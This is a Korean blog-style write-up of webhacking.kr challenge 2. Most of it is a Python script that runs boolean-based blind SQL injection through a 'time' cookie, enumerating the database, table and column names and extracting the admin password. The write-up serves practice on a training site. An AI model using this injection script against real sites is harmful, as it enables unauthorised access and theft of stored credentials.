페이지 소스를 봤다
admin.php 가 있는거 같아 들어가 봤다
비밀번호를 입력하는 페이지인가 보다...
그다음 뭐하는건지 몰라 헤매던 중 admin.php에 들어가기 전 페이지에서
수상한 시간이 적혀져있는것을 봤다
근데도 뭐지 모르겠다
그렇게 또 한참을 멍때리던 중에 쿠키가 생각이 나서
쿠키를 살펴보는데
time 쿠기가 존재했다
2번의 문제는 데이터 베이스의 관련된 문제....
그렇게 생각해서 sql injection을 때려봤다
시간이 변하면서 참 과 거짓이 분명하게 나타난다
이렇게 boolean based blind sql injection을 이용한 문제인 것을 알았으니
푸는것은 시간만 있으면 풀린다!
바로 파이썬 코드를 작성했다
import requests
url = "https://webhacking.kr/challenge/web-02/"
# 세션은 자신꺼 넣어주세요
#db 길이 구하기
for i in range(1, 100):
cookie = {"PHPSESSID":"세션", "time":"1627574285 and length(database())={}".format(i)}
r = requests.get(url, cookies=cookie)
if r.text.find("09:00:01") != -1:
print(i)
break
#db 이름 구하기
db = ""
for i in range(1, 7):
for j in range(33 ,123):
cookie = {"PHPSESSID":"세션", "time":"1627574285 and ascii(substr(database(),{},1))={}".format(i,j)}
r = requests.get(url, cookies=cookie)
if r.text.find("09:00:01") != -1:
db += chr(j)
print(db)
break
print(db)
#테이블 길이 구하기
for i in range(1,100):
cookie = {"PHPSESSID":"세션", "time":"1627574285 and length((select table_name from information_schema.tables where table_schema='chall2' limit 0,1))={}".format(i)}
r = requests.get(url, cookies=cookie)
if r.text.find("09:00:01") != -1:
print(i)
break
#테이블 명 구하기
table_name = ""
for i in range(1, 14):
for j in range(22 ,123):
cookie = {"PHPSESSID":"세션", "time":"1627574285 and ascii(substr((select table_name from information_schema.tables where table_schema='chall2' limit 0,1),{},1))={}".format(i, j)}
r = requests.get(url, cookies=cookie)
if r.text.find("09:00:01") != -1:
table_name += chr(j)
print(table_name)
break
# 컬럼 길이 구하기
for i in range(1, 100):
cookie = {"PHPSESSID":"세션", "time":"1627574285 and length((select column_name from information_schema.columns where table_name='admin_area_pw' limit 0,1))={}".format(i)}
r = requests.get(url, cookies=cookie)
if r.text.find("09:00:01") != -1:
print(i)
break
#컬럼 이름 구하기
column_name = ""
for i in range(1, 3):
for j in range(22 ,123):
cookie = {"PHPSESSID":"세션", "time":"1627574285 and ascii(substr((select column_name from information_schema.columns where table_name='admin_area_pw' limit 0,1),{},1))={}".format(i, j)}
r = requests.get(url, cookies=cookie)
if r.text.find("09:00:01") != -1:
column_name += chr(j)
print(column_name)
break
# 마지막! 데이터 길이 구하기
length = ""
for i in range(1, 100):
cookie = {"PHPSESSID":"세션", "time":"1627574285 and length((select pw from admin_area_pw limit 0,1))={}".format(i)}
r = requests.get(url, cookies=cookie)
if r.text.find("09:00:01") != -1:
print(i)
break
# 데이터 구하기
data = ""
for i in range(1, 17+1):
for j in range(22 ,123):
cookie = {"PHPSESSID":"세션", "time":"1627574285 and ascii(substr((select pw from admin_area_pw limit 0,1),{},1))={}".format(i, j)}
r = requests.get(url, cookies=cookie)
if r.text.find("09:00:01") != -1:
data += chr(j)
print(data)
break
코드를 실행하면 값이 나오게 되면서 admin.php에 넣으면 풀리게 된다